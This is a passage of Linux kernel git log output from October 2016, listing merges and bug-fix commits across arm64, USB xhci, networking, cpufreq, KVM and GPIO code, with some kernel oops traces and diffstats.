arm64: suspend: Reconfigure PSTATE after resume from idle arm64: mm: Set PSTATE.PAN from the cpu_enable_pan() call arm64: cpufeature: Schedule enable() calls instead of calling them via IPI arm64: Cortex-A53 errata workaround: check for kernel addresses arm64: percpu: rewrite ll/sc loops in assembly arm64: swp emulation: bound LL/SC retries before rescheduling arm64: sysreg: Fix use of XZR in write_sysreg_s arm64: kaslr: keep modules close to the kernel when DYNAMIC_FTRACE=y arm64: kernel: Init MDCR_EL2 even in the absence of a PMU perf: xgene: Remove bogus IS_ERR() check arm64: kernel: numa: fix ACPI boot cpu numa node mapping arm64: kaslr: fix breakage with CONFIG_MODVERSIONS=y commit bdcff41597e823a4b5117698fb3ad0cf833e10ac Merge: 0ea67fa 5130cce Author: Linus Torvalds Date: Thu Oct 20 09:57:51 2016 -0700 Merge tag 'ceph-for-4.9-rc2' of git://github.com/ceph/ceph-client Pull Ceph fixes from Ilya Dryomov: "An rbd exclusive-lock edge case fix and several filesystem fixups. Nikolay's error path patch is tagged for stable, everything else but readdir vs frags race was introduced in this merge window" * tag 'ceph-for-4.9-rc2' of git://github.com/ceph/ceph-client: ceph: fix non static symbol warning ceph: fix uninitialized dentry pointer in ceph_real_mount() ceph: fix readdir vs fragmentation race ceph: fix error handling in ceph_read_iter rbd: don't retry watch reregistration if header object is gone rbd: don't wait for the lock forever if blacklisted commit 0ea67fae9e80bfd69713b51ba3fa53879be5383b Merge: a28ad14 82bb095 Author: Linus Torvalds Date: Thu Oct 20 08:59:12 2016 -0700 Merge tag 'mmc-v4.9-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/ulfh/mmc Pull MMC fixes from Ulf Hansson: "Here are some mmc fixes intended for v4.9 rc2. This time I have also included a few changes for a memstick driver which has a corresponding mmc driver. They use the same USB device as parent, hence both needs to play nice with runtime PM, which they didn't. MMC core: - Update MAINTAINERS as the mmc tree moved to kernel.org - A few fixes for HS400es mode - A few other minor fixes MMC host: - sdhci: Fix an issue when dealing with stop commands - sdhci-pci: Fix a bus power failure issue - sdhci-esdhc-imx: Correct two register accesses - sdhci-of-arasan: Fix the 1.8V I/O signal switch behaviour - rtsx_usb_sdmmc: Fix runtime PM issues Other: (Because of no maintainer) - memstick: rtsx_usb_ms: Fix runtime PM issues" * tag 'mmc-v4.9-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/ulfh/mmc: MAINTAINERS: mmc: Move the mmc tree to kernel.org memstick: rtsx_usb_ms: Manage runtime PM when accessing the device memstick: rtsx_usb_ms: Runtime resume the device when polling for cards mmc: rtsx_usb_sdmmc: Handle runtime PM while changing the led mmc: rtsx_usb_sdmmc: Avoid keeping the device runtime resumed when unused mmc: sdhci: cast unsigned int to unsigned long long to avoid unexpeted error mmc: sdhci-esdhc-imx: Correct two register accesses mmc: sdhci-pci: Fix bus power failing to enable for some Intel controllers mmc: sdhci-pci: Let devices define their own sdhci_ops mmc: sdhci: Rename sdhci_set_power() to sdhci_set_power_noreg() mmc: sdhci: Fix SDHCI_QUIRK2_STOP_WITH_TC mmc: core: Annotate cmd_hdr as __le32 mmc: sdhci-of-arasan: add sdhci_arasan_voltage_switch for arasan, 5.1 mmc: core: changes frequency to hs_max_dtr when selecting hs400es mmc: core: switch to 1V8 or 1V2 for hs400es mode mmc: block: add missing header dependencies mmc: sdhci-of-arasan: Fix non static symbol warning commit 7d3b016a6f5a0fa610dfd02b05654c08fa4ae514 Author: Mathias Nyman Date: Thu Oct 20 18:09:20 2016 +0300 xhci: use default USB_RESUME_TIMEOUT when resuming ports. USB2 host inititated resume, and system suspend bus resume need to use the same USB_RESUME_TIMEOUT as elsewhere. This resolves a device disconnect issue at system resume seen on Intel Braswell and Apollolake, but is in no way limited to those platforms. Signed-off-by: Mathias Nyman CC: Signed-off-by: Greg Kroah-Hartman drivers/usb/host/xhci-hub.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 346e99736c3ce328fd42d678343b70243aca5f36 Author: Mathias Nyman Date: Thu Oct 20 18:09:19 2016 +0300 xhci: workaround for hosts missing CAS bit If a device is unplugged and replugged during Sx system suspend some Intel xHC hosts will overwrite the CAS (Cold attach status) flag and no device connection is noticed in resume. A device in this state can be identified in resume if its link state is in polling or compliance mode, and the current connect status is 0. A device in this state needs to be warm reset. Intel 100/c230 series PCH specification update Doc #332692-006 Errata #8 Observed on Cherryview and Apollolake as they go into compliance mode if LFPS times out during polling, and re-plugged devices are not discovered at resume. Signed-off-by: Mathias Nyman CC: Signed-off-by: Greg Kroah-Hartman drivers/usb/host/xhci-hub.c | 37 +++++++++++++++++++++++++++++++++++++ drivers/usb/host/xhci-pci.c | 6 ++++++ drivers/usb/host/xhci.h | 3 +++ 3 files changed, 46 insertions(+) commit 4c39135aa412d2f1381e43802523da110ca7855c Author: Mathias Nyman Date: Thu Oct 20 18:09:18 2016 +0300 xhci: add restart quirk for Intel Wildcatpoint PCH xHC in Wildcatpoint-LP PCH is similar to LynxPoint-LP and need the same quirks to prevent machines from spurious restart while shutting them down. Reported-by: Hasan Mahmood CC: Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman drivers/usb/host/xhci-pci.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit a28ad14e057b6ec2ad9a8b09a44aa859d79c0ff8 Merge: c3f8f7f e952813 Author: Linus Torvalds Date: Thu Oct 20 08:49:03 2016 -0700 Merge branch 'for_linus' of git://git.kernel.org/pub/scm/linux/kernel/git/jack/linux-fs Pull misc filesystem fixes from Jan Kara: "A fix for an isofs change apparently breaking mount(8) in some cases and one ext2 warning fix" * 'for_linus' of git://git.kernel.org/pub/scm/linux/kernel/git/jack/linux-fs: ext2: avoid bogus -Wmaybe-uninitialized warning isofs: Do not return EACCES for unknown filesystems commit 368e21aebe9535c1643b272aaa9819298a6bc3e5 Author: Ville Syrjälä Date: Wed Oct 19 21:02:04 2016 +0300 rtc: cmos: Don't enable interrupts in the middle of the interrupt handler Using spin_lock_irq()/spin_unlock_irq() from within the interrupt handler is a no-no. Let's save/restore the flags to avoid turning on interrupts prematurely. We hit this in a bunch of our CI systems, but for whatever reason I wasn't able to reproduce on my own machine, so this fix is just based on the backtrace. [ 202.634918] WARNING: CPU: 0 PID: 0 at kernel/locking/lockdep.c:2729 trace_hardirqs_on_caller+0x113/0x1b0 [ 202.634919] DEBUG_LOCKS_WARN_ON(current->hardirq_context) [ 202.634929] Modules linked in: snd_hda_intel i915 x86_pkg_temp_thermal intel_powerclamp coretemp crct10dif_pclmul crc32_pclmul ghash_clmulni_intel lpc_ich snd_hda_codec_realtek snd_hda_codec_generic snd_hda_codec_hdmi snd_hda_codec snd_hwdep i2c_designware_platform i2c_designware_core snd_hda_core mei_me mei snd_pcm r8169 mii sdhci_acpi sdhci mmc_core i2c_hid [last unloaded: i915] [ 202.634930] CPU: 0 PID: 0 Comm: swapper/0 Tainted: G U 4.9.0-rc1-CI-CI_DRM_1734+ #1 [ 202.634931] Hardware name: GIGABYTE M4HM87P-00/M4HM87P-00, BIOS F6 12/10/2014 [ 202.634933] ffff88011ea03d68 ffffffff8142dce5 ffff88011ea03db8 0000000000000000 [ 202.634934] ffff88011ea03da8 ffffffff8107e496 00000aa900000002 ffffffff81e249a0 [ 202.634935] ffffffff81815637 ffffffff82e7c280 0000000000000000 0000000000000004 [ 202.634936] Call Trace: [ 202.634939] [ 202.634939] [] dump_stack+0x67/0x92 [ 202.634941] [] __warn+0xc6/0xe0 [ 202.634944] [] ? _raw_spin_unlock_irq+0x27/0x50 [ 202.634945] [] warn_slowpath_fmt+0x4a/0x50 [ 202.634946] [] trace_hardirqs_on_caller+0x113/0x1b0 [ 202.634948] [] trace_hardirqs_on+0xd/0x10 [ 202.634949] [] _raw_spin_unlock_irq+0x27/0x50 [ 202.634951] [] rtc_handler+0x32/0xa0 [ 202.634954] [] acpi_ev_fixed_event_detect+0xd4/0xfb [ 202.634956] [] acpi_ev_sci_xrupt_handler+0xf/0x2d [ 202.634957] [] acpi_irq+0x11/0x2c [ 202.634960] [] __handle_irq_event_percpu+0x58/0x370 [ 202.634961] [] handle_irq_event_percpu+0x1e/0x50 [ 202.634962] [] handle_irq_event+0x34/0x60 [ 202.634963] [] handle_fasteoi_irq+0xa6/0x170 [ 202.634966] [] handle_irq+0x15/0x20 [ 202.634967] [] do_IRQ+0x68/0x130 [ 202.634968] [] common_interrupt+0x89/0x89 [ 202.634970] [ 202.634970] [] ? mwait_idle+0x93/0x210 [ 202.634971] [] ? mwait_idle+0x8a/0x210 [ 202.634972] [] arch_cpu_idle+0xa/0x10 [ 202.634973] [] default_idle_call+0x1e/0x30 [ 202.634974] [] cpu_startup_entry+0x17c/0x1f0 [ 202.634976] [] rest_init+0x127/0x130 [ 202.634978] [] start_kernel+0x3f6/0x403 [ 202.634980] [] x86_64_start_reservations+0x2a/0x2c [ 202.634981] [] x86_64_start_kernel+0x173/0x186 [ 202.634982] ---[ end trace 293c99618fa08d34 ]--- Cc: Gabriele Mazzotta Cc: Alexandre Belloni Fixes: 983bf1256edb ("rtc: cmos: Clear ACPI-driven alarms upon resume") Signed-off-by: Ville Syrjälä Reviewed-by: Chris Wilson Signed-off-by: Alexandre Belloni drivers/rtc/rtc-cmos.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 8be0328e52dc2c8c6f61563c9ccc95ae4d63e9ce Author: Giuseppe CAVALLARO Date: Thu Oct 20 10:01:28 2016 +0200 stmmac: display the descriptors if DES0 = 0 It makes sense to display the descriptors even if DES0 is zero. This helps for example in case of it is needed to dump rx write-back descriptors to get timestamp status. Signed-off-by: Giuseppe Cavallaro Cc: Alexandre TORGUE Signed-off-by: David S. Miller drivers/net/ethernet/stmicro/stmmac/dwmac4_descs.c | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) commit f6bbf1b7ac1fba284df82d7344080a8e7435b023 Merge: 8678654 d852b5f Author: Radim Krčmář Date: Thu Oct 20 17:26:53 2016 +0200 Merge tag 'kvm_mips_4.9_2' of git://git.kernel.org/pub/scm/linux/kernel/git/jhogan/kvm-mips MIPS KVM fix for v4.9-rc2 - Fix build error introduced during the 4.9 merge window when tracepoints are disabled. commit ae3877bce505e5591832bcb7d8a7aefb74a04ffb Merge: 5712bf9 22d8aa9 Author: David S. Miller Date: Thu Oct 20 11:23:08 2016 -0400 Merge branch 'ncsi-fixes' Gavin Shan says: ==================== net/ncsi: More bug fixes This series fixes 2 issues that were found during NCSI's availability testing on BCM5718 and improves HNCDSC AEN handler: * PATCH[1] refactors the code so that minimal code change is put to PATCH[2]. * PATCH[2] fixes the NCSI channel's stale link state before doing failover. * PATCH[3] chooses the hot channel, which was ever chosen as active channel, when the available channels are all in link-down state. * PATCH[4] improves Host Network Controller Driver Status Change (HNCDSC) AEN handler Changelog ========= v2: * Merged PATCH[v1 1/2] to PATCH[v2 1]. * Avoid if/else statements in ncsi_suspend_channel() as Joel suggested. * Added comments to explain why we need retrieve last link states in ncsi_suspend_channel(). ==================== Signed-off-by: David S. Miller commit 22d8aa93d7ea169a349fb2f9dee5babc68f6a683 Author: Gavin Shan Date: Thu Oct 20 11:45:52 2016 +1100 net/ncsi: Improve HNCDSC AEN handler This improves AEN handler for Host Network Controller Driver Status Change (HNCDSC): * The channel's lock should be hold when accessing its state. * Do failover when host driver isn't ready. * Configure channel when host driver becomes ready. Signed-off-by: Gavin Shan Signed-off-by: David S. Miller net/ncsi/ncsi-aen.c | 18 +++++++++++++++--- 1 file changed, 15 insertions(+), 3 deletions(-) commit bbc7c01e95ceef4e23e343f8cbb6edca887121a5 Author: Gavin Shan Date: Thu Oct 20 11:45:51 2016 +1100 net/ncsi: Choose hot channel as active one if necessary The issue was found on BCM5718 which has two NCSI channels in one package: C0 and C1. C0 is in link-up state while C1 is in link-down state. C0 is chosen as active channel until unplugging and plugging C0's cable: On unplugging C0's cable, LSC (Link State Change) AEN packet received on C0 to report link-down event. After that, C1 is chosen as active channel. LSC AEN for link-up event is lost on C0 when plugging C0's cable back. We lose the network even C0 is usable. This resolves the issue by recording the (hot) channel that was ever chosen as active one. The hot channel is chosen to be active one if none of available channels in link-up state. With this, C0 is still the active one after unplugging C0's cable. LSC AEN packet received on C0 when plugging its cable back. Signed-off-by: Gavin Shan Signed-off-by: David S. Miller net/ncsi/internal.h | 1 + net/ncsi/ncsi-manage.c | 22 +++++++++++++++++++--- 2 files changed, 20 insertions(+), 3 deletions(-) commit 008a424a24a904ed12c03b203f6f257bcaf12358 Author: Gavin Shan Date: Thu Oct 20 11:45:50 2016 +1100 net/ncsi: Fix stale link state of inactive channels on failover The issue was found on BCM5718 which has two NCSI channels in one package: C0 and C1. Both of them are connected to different LANs, means they are in link-up state and C0 is chosen as the active one until resetting BCM5718 happens as below. Resetting BCM5718 results in LSC (Link State Change) AEN packet received on C0, meaning LSC AEN is missed on C1. When LSC AEN packet received on C0 to report link-down, it fails over to C1 because C1 is in link-up state as software can see. However, C1 is in link-down state in hardware. It means the link state is out of synchronization between hardware and software, resulting in inappropriate channel (C1) selected as active one. This resolves the issue by sending separate GLS (Get Link Status) commands to all channels in the package before trying to do failover. The last link states of all channels in the package are retrieved. With it, C0 (not C1) is selected as active one as expected. Signed-off-by: Gavin Shan Signed-off-by: David S. Miller net/ncsi/internal.h | 1 + net/ncsi/ncsi-manage.c | 28 +++++++++++++++++++++++++++- 2 files changed, 28 insertions(+), 1 deletion(-) commit 7ba5c003db59a6f738d87d92b68d4a91cdf22f60 Author: Gavin Shan Date: Thu Oct 20 11:45:49 2016 +1100 net/ncsi: Avoid if statements in ncsi_suspend_channel() There are several if/else statements in the state machine implemented by switch/case in ncsi_suspend_channel() to avoid duplicated code. It makes the code a bit hard to be understood. This drops if/else statements in ncsi_suspend_channel() to improve the code readability as Joel Stanley suggested. Also, it becomes easy to add more states in the state machine without affecting current code. No logical changes introduced by this. Suggested-by: Joel Stanley Signed-off-by: Gavin Shan Signed-off-by: David S. Miller net/ncsi/ncsi-manage.c | 78 ++++++++++++++++++++++++++++++++------------------ 1 file changed, 50 insertions(+), 28 deletions(-) commit 5712bf9c5c30ade3204016147d7b04bece6952d9 Author: Paul Blakey Date: Wed Oct 19 17:42:39 2016 +0300 net/sched: act_mirred: Use passed lastuse argument stats_update callback is called by NIC drivers doing hardware offloading of the mirred action. Lastuse is passed as argument to specify when the stats was actually last updated and is not always the current time. Fixes: 9798e6fe4f9b ('net: act_mirred: allow statistic updates from offloaded actions') Signed-off-by: Paul Blakey Signed-off-by: Or Gerlitz Signed-off-by: David S. Miller net/sched/act_mirred.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit 164c971d1cc365dc85e5cf9a9302a91c0cf7f126 Author: Jiri Pirko Date: Thu Oct 20 16:05:45 2016 +0200 mlxsw: pci: Fix reset wait for SwitchX2 SwitchX2 firmware does not implement reset done yet. Moreover, when busy-polled for ready magic, that slows down firmware and reset takes longer than the defined timeout, causing initialization to fail. So restore the previous behaviour and just sleep in this case. Fixes: 233fa44bd67a ("mlxsw: pci: Implement reset done check") Signed-off-by: Jiri Pirko Reviewed-by: Ido Schimmel Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlxsw/pci.c | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) commit 7fb6a36bab6b0b158f93eb13faa1b440f8b26009 Author: Elad Raz Date: Thu Oct 20 16:05:44 2016 +0200 mlxsw: switchx2: Fix ethernet port initialization When creating an ethernet port fails, we must move the port to disable, otherwise putting the port in switch partition 0 (ETH) or 1 (IB) will always fails. Fixes: 31557f0f9755 ("mlxsw: Introduce Mellanox SwitchX-2 ASIC support") Signed-off-by: Elad Raz Reviewed-by: Jiri Pirko Reviewed-by: Ido Schimmel Signed-off-by: Jiri Pirko Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlxsw/switchx2.c | 1 + 1 file changed, 1 insertion(+) commit 37956d78b8f0c5560421f83d1a5e337ee81c685c Author: Jiri Pirko Date: Thu Oct 20 16:05:43 2016 +0200 mlxsw: spectrum_router: Make mlxsw_sp_router_fib4_del return void and remove warn The function return value is not checked anywhere. Also, the warning causes huge slowdown when removing large number of FIB entries which were not offloaded, because of ordering issue. Ido's preparing a patchset to fix the ordering issue, but that is definitelly not net tree material. Fixes: b45f64d16d45 ("mlxsw: spectrum_router: Use FIB notifications instead of switchdev calls") Signed-off-by: Jiri Pirko Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlxsw/spectrum_router.c | 13 +++++-------- 1 file changed, 5 insertions(+), 8 deletions(-) commit 19271c1a083282fbd568f3f214a6182e973626eb Author: Jiri Pirko Date: Thu Oct 20 16:05:42 2016 +0200 mlxsw: spectrum_router: Use correct tree index for binding By a mistake, there is tree index 0 passed to RALTB. Should be MLXSW_SP_LPM_TREE_MIN. Fixes: b45f64d16d45 ("mlxsw: spectrum_router: Use FIB notifications instead of switchdev calls") Reported-by: Yotam Gigi Signed-off-by: Jiri Pirko Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlxsw/spectrum_router.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit c6fe46a79ecd79606bb96fada4515f6b23f87b62 Author: Sergey Senozhatsky Date: Tue Oct 18 00:41:12 2016 +0900 cpufreq: fix overflow in cpufreq_table_find_index_dl() 'best' is always less or equals to 'pos', so `best - pos' returns a negative value which is then getting casted to `unsigned int' and passed to __cpufreq_driver_target()->acpi_cpufreq_target() for policy->freq_table selection. This results in BUG: unable to handle kernel paging request at ffff881019b469f8 IP: [] acpi_cpufreq_target+0x4f/0x190 [acpi_cpufreq] PGD 267f067 PUD 0 Oops: 0000 [#1] PREEMPT SMP CPU: 6 PID: 70 Comm: kworker/6:1 Not tainted 4.9.0-rc1-next-20161017-dbg-dirty Workqueue: events dbs_work_handler task: ffff88041b808000 task.stack: ffff88041b810000 RIP: 0010:[] [] acpi_cpufreq_target+0x4f/0x190 [acpi_cpufreq] RSP: 0018:ffff88041b813c60 EFLAGS: 00010282 RAX: ffff880419b46a00 RBX: ffff88041b848400 RCX: ffff880419b20f80 RDX: 00000000001dff38 RSI: 00000000ffffffff RDI: ffff88041b848400 RBP: ffff88041b813cb0 R08: 0000000000000006 R09: 0000000000000040 R10: ffffffff8207f9e0 R11: ffffffff8173595b R12: 0000000000000000 R13: ffff88041f1dff38 R14: 0000000000262900 R15: 0000000bfffffff4 FS: 0000000000000000(0000) GS:ffff88041f000000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: ffff881019b469f8 CR3: 000000041a2d3000 CR4: 00000000001406e0 Stack: ffff88041b813cb0 ffffffff813347f9 ffff88041b813ca0 ffffffff81334663 ffff88041f1d4bc0 ffff88041b848400 0000000000000000 0000000000000000 0000000000262900 0000000000000000 ffff88041b813d00 ffffffff813355dc Call Trace: [] ? cpufreq_freq_transition_begin+0xf1/0xfc [] ? get_cpu_idle_time+0x97/0xa6 [] __cpufreq_driver_target+0x3b6/0x44e [] cs_dbs_timer+0x11a/0x135 [] dbs_work_handler+0x39/0x62 [] process_one_work+0x280/0x4a5 [] worker_thread+0x24f/0x397 [] ? rescuer_thread+0x30b/0x30b [] ? nl80211_get_key+0x29/0x36a [] kthread+0xfc/0x104 [] ? put_lock_stats.isra.9+0xe/0x20 [] ? kthread_create_on_node+0x3f/0x3f [] ret_from_fork+0x22/0x30 Code: 56 4d 6b ff 0c 41 55 41 54 53 48 83 ec 28 48 8b 15 ad 1e 00 00 44 8b 41 08 48 8b 87 c8 00 00 00 49 89 d5 4e 03 2c c5 80 b2 78 81 <46> 8b 74 38 04 45 3b 75 00 75 11 31 c0 83 39 00 0f 84 1c 01 00 RIP [] acpi_cpufreq_target+0x4f/0x190 [acpi_cpufreq] RSP CR2: ffff881019b469f8 ---[ end trace 16d9fc7a17897d37 ]--- [ rjw: In some cases this bug may also cause incorrect frequencies to be selected by cpufreq governors. ] Fixes: 899bb6642f2a (cpufreq: skip invalid entries when searching the frequency) Link: http://marc.info/?l=linux-kernel&m=147672030714331&w=2 Reported-and-tested-by: Sedat Dilek Reported-and-tested-by: Jörg Otte Signed-off-by: Sergey Senozhatsky Acked-by: Viresh Kumar Cc: 4.8+ # 4.8+ Signed-off-by: Rafael J. Wysocki include/linux/cpufreq.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit f7881bd644474a4a62d7bd1ec801176f635f59ae Author: Mark Rutland Date: Thu Oct 20 12:24:53 2016 +0100 arm64: remove pr_cont abuse from mem_init All the lines printed by mem_init are independent, with each ending with a newline. While they logically form a large block, none are actually continuations of previous lines. The kernel-side printk code and the userspace demsg tool differ in their handling of KERN_CONT following a newline, and while this isn't always a problem kernel-side, it does cause difficulty for userspace. Using pr_cont causes the userspace tool to not print line prefix (e.g. timestamps) even when following a newline, mis-aligning the output and making it harder to read, e.g. [ 0.000000] Virtual kernel memory layout: [ 0.000000] modules : 0xffff000000000000 - 0xffff000008000000 ( 128 MB) vmalloc : 0xffff000008000000 - 0xffff7dffbfff0000 (129022 GB) .text : 0xffff000008080000 - 0xffff0000088b0000 ( 8384 KB) .rodata : 0xffff0000088b0000 - 0xffff000008c50000 ( 3712 KB) .init : 0xffff000008c50000 - 0xffff000008d50000 ( 1024 KB) .data : 0xffff000008d50000 - 0xffff000008e25200 ( 853 KB) .bss : 0xffff000008e25200 - 0xffff000008e6bec0 ( 284 KB) fixed : 0xffff7dfffe7fd000 - 0xffff7dfffec00000 ( 4108 KB) PCI I/O : 0xffff7dfffee00000 - 0xffff7dffffe00000 ( 16 MB) vmemmap : 0xffff7e0000000000 - 0xffff800000000000 ( 2048 GB maximum) 0xffff7e0000000000 - 0xffff7e0026000000 ( 608 MB actual) memory : 0xffff800000000000 - 0xffff800980000000 ( 38912 MB) [ 0.000000] SLUB: HWalign=64, Order=0-3, MinObjects=0, CPUs=6, Nodes=1 Fix this by using pr_notice consistently for all lines, which both the kernel and userspace are happy with. Signed-off-by: Mark Rutland Cc: Catalin Marinas Cc: James Morse Cc: Kefeng Wang Cc: Will Deacon Signed-off-by: Will Deacon arch/arm64/mm/init.c | 26 +++++++++++++------------- 1 file changed, 13 insertions(+), 13 deletions(-) commit db4b0710fae90a4407bfa77b23db396e580b9e23 Author: Mark Rutland Date: Thu Oct 20 12:23:16 2016 +0100 arm64: fix show_regs fallout from KERN_CONT changes Recently in commit 4bcc595ccd80decb ("printk: reinstate KERN_CONT for printing continuation lines"), the behaviour of printk changed w.r.t. KERN_CONT. Now, KERN_CONT is mandatory to continue existing lines. Without this, prefixes are inserted, making output illegible, e.g. [ 1007.069010] pc : [] lr : [] pstate: 40000145 [ 1007.076329] sp : ffff000008d53ec0 [ 1007.079606] x29: ffff000008d53ec0 [ 1007.082797] x28: 0000000080c50018 [ 1007.086160] [ 1007.087630] x27: ffff000008e0c7f8 [ 1007.090820] x26: ffff80097631ca00 [ 1007.094183] [ 1007.095653] x25: 0000000000000001 [ 1007.098843] x24: 000000ea68b61cac [ 1007.102206] ... or when dumped with the userpace dmesg tool, which has slightly different implicit newline behaviour. e.g. [ 1007.069010] pc : [] lr : [] pstate: 40000145 [ 1007.076329] sp : ffff000008d53ec0 [ 1007.079606] x29: ffff000008d53ec0 [ 1007.082797] x28: 0000000080c50018 [ 1007.086160] [ 1007.087630] x27: ffff000008e0c7f8 [ 1007.090820] x26: ffff80097631ca00 [ 1007.094183] [ 1007.095653] x25: 0000000000000001 [ 1007.098843] x24: 000000ea68b61cac [ 1007.102206] We can't simply always use KERN_CONT for lines which may or may not be continuations. That causes line prefixes (e.g. timestamps) to be supressed, and the alignment of all but the first line will be broken. For even more fun, we can't simply insert some dummy empty-string printk calls, as GCC warns for an empty printk string, and even if we pass KERN_DEFAULT explcitly to silence the warning, the prefix gets swallowed unless there is an additional part to the string. Instead, we must manually iterate over pairs of registers, which gives us the legible output we want in either case, e.g. [ 169.771790] pc : [] lr : [] pstate: 40000145 [ 169.779109] sp : ffff000008d53ec0 [ 169.782386] x29: ffff000008d53ec0 x28: 0000000080c50018 [ 169.787650] x27: ffff000008e0c7f8 x26: ffff80097631de00 [ 169.792913] x25: 0000000000000001 x24: 00000027827b2cf4 Signed-off-by: Mark Rutland Cc: Catalin Marinas Cc: Will Deacon Signed-off-by: Will Deacon arch/arm64/kernel/process.c | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) commit 8678654e3c7ad7b0f4beb03fa89691279cba71f9 Author: Jiri Slaby Date: Thu Oct 13 17:45:20 2016 +0200 kvm: x86: memset whole irq_eoi gcc 7 warns: arch/x86/kvm/ioapic.c: In function 'kvm_ioapic_reset': arch/x86/kvm/ioapic.c:597:2: warning: 'memset' used with length equal to number of elements without multiplication by element size [-Wmemset-elt-size] And it is right. Memset whole array using sizeof operator. Signed-off-by: Jiri Slaby Cc: Paolo Bonzini Cc: Radim Krčmář Cc: Thomas Gleixner Cc: Ingo Molnar Cc: H. Peter Anvin Cc: x86@kernel.org Cc: kvm@vger.kernel.org Cc: linux-kernel@vger.kernel.org Cc: stable@vger.kernel.org Reviewed-by: Paolo Bonzini [Added x86 subject tag] Signed-off-by: Radim Krčmář arch/x86/kvm/ioapic.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 758f588d6fa2b1e64b6ae4bc4e7e86331bdee479 Author: Borislav Petkov Date: Sun Sep 4 19:13:57 2016 +0200 kvm/x86: Fix unused variable warning in kvm_timer_init() When CONFIG_CPU_FREQ is not set, int cpu is unused and gcc rightfully warns about it: arch/x86/kvm/x86.c: In function ‘kvm_timer_init’: arch/x86/kvm/x86.c:5697:6: warning: unused variable ‘cpu’ [-Wunused-variable] int cpu; ^~~ But since it is used only in the CONFIG_CPU_FREQ block, simply move it there, thus squashing the warning too. Signed-off-by: Borislav Petkov Signed-off-by: Radim Krčmář arch/x86/kvm/x86.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 86126748cd5063aa888ce252f16b89b35e7d4707 Author: Philipp Zabel Date: Tue Oct 18 17:09:30 2016 +0200 drm/imx: ipuv3-plane: disable local alpha for planes without alpha channel Without this patch, after enabling the overlay plane with an RGBA framebuffer, switching to a framebuffer without alpha channel would cause the plane to vanish, since the pixel local alpha is constant zero in that case. Disable local alpha again when setting an opaque framebuffer. Signed-off-by: Philipp Zabel drivers/gpu/drm/imx/ipuv3-plane.c | 1 + 1 file changed, 1 insertion(+) commit 5fb57ab328aaf313c5ad9c4c48900f632e7c6f1c Author: Philipp Zabel Date: Tue Oct 18 12:30:36 2016 +0200 drm/imx: ipuv3-plane: make sure x/y offsets are even in case of chroma subsampling Odd x/y offsets are not allowed for horizontally/vertically chroma subsampled planar YUV formats. Signed-off-by: Philipp Zabel Acked-by: Liu Ying drivers/gpu/drm/imx/ipuv3-plane.c | 11 +++++++++++ 1 file changed, 11 insertions(+) commit 67bf5156edc4f58241fd7c119ae145c552adddd6 Author: David Arcari Date: Wed Oct 12 18:40:30 2016 +0200 gpio / ACPI: fix returned error from acpi_dev_gpio_irq_get() acpi_dev_gpio_irq_get() currently ignores the error returned by acpi_get_gpiod_by_index() and overwrites it with -ENOENT. Problem is this error can be -EPROBE_DEFER, which just blows up some drivers when the module ordering is not correct. Cc: stable@vger.kernel.org Signed-off-by: David Arcari Signed-off-by: Benjamin Tissoires Acked-by: Mika Westerberg Signed-off-by: Linus Walleij drivers/gpio/gpiolib-acpi.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit 0cb940927df72a514588d8286916eda4aaa4d011 Author: Arnd Bergmann Date: Mon Oct 10 14:42:46 2016 +0200 gpio: mockup: add sysfs dependency Building the gpio-mockup driver without SYSFS results in a harmless Kconfig warning: warning: (GPIO_MOCKUP) selects GPIO_SYSFS which has unmet direct dependencies (GPIOLIB && SYSFS) We can easily avoid that warning by adding a dependency on SYSFS. Fixes: 0f98dd1b27d2 ("gpio/mockup: add virtual gpio device") Signed-off-by: Arnd Bergmann Signed-off-by: Linus Walleij drivers/gpio/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit d1ca19cb3bc88318a54643f7a250ec6abab51108 Author: Dan Carpenter Date: Wed Oct 12 09:25:20 2016 +0300 gpio: stmpe: || vs && typo && was obviously intended here. Fixes: 6936e1f88d23 ('gpio: stmpe: Write int status register only when needed') Signed-off-by: Dan Carpenter Acked-by: Patrice Chotard Signed-off-by: Linus Walleij drivers/gpio/gpio-stmpe.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 44df08198bc98d75085bb0ff4b54bf43e0bc40c0 Author: Arvind Yadav Date: Wed Oct 5 15:08:36 2016 +0530 gpio: mxs: Unmap region obtained by of_iomap Free memory mapping, if mxs_gpio_probe is not successful. Signed-off-by: Arvind Yadav Signed-off-by: Linus Walleij drivers/gpio/gpio-mxs.c | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) commit 15e2a357876910623953a7c9b071096e6d976ca9 Author: Pavel Machek Date: Mon Oct 3 10:43:46 2016 +0200 gpio/board.txt: point to gpiod_set_value gpiod_set_value() is preffered interface these days, so add a pointer. Also fix a missing ). Signed-off-by: Pavel Machek [Fixed some grammar and reworded] Signed-off-by: Linus Walleij Documentation/gpio/board.txt | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) commit c8061485a0d7569a865a3cc3c63347b0f42b3765 Author: Heiko Carstens Date: Wed Oct 19 19:28:11 2016 +0100 sched/core, x86: Make struct thread_info arch specific again The following commit: c65eacbe290b ("sched/core: Allow putting thread_info into task_struct") ... made 'struct thread_info' a generic struct with only a single ::flags member, if CONFIG_THREAD_INFO_IN_TASK_STRUCT=y is selected. This change however seems to be quite 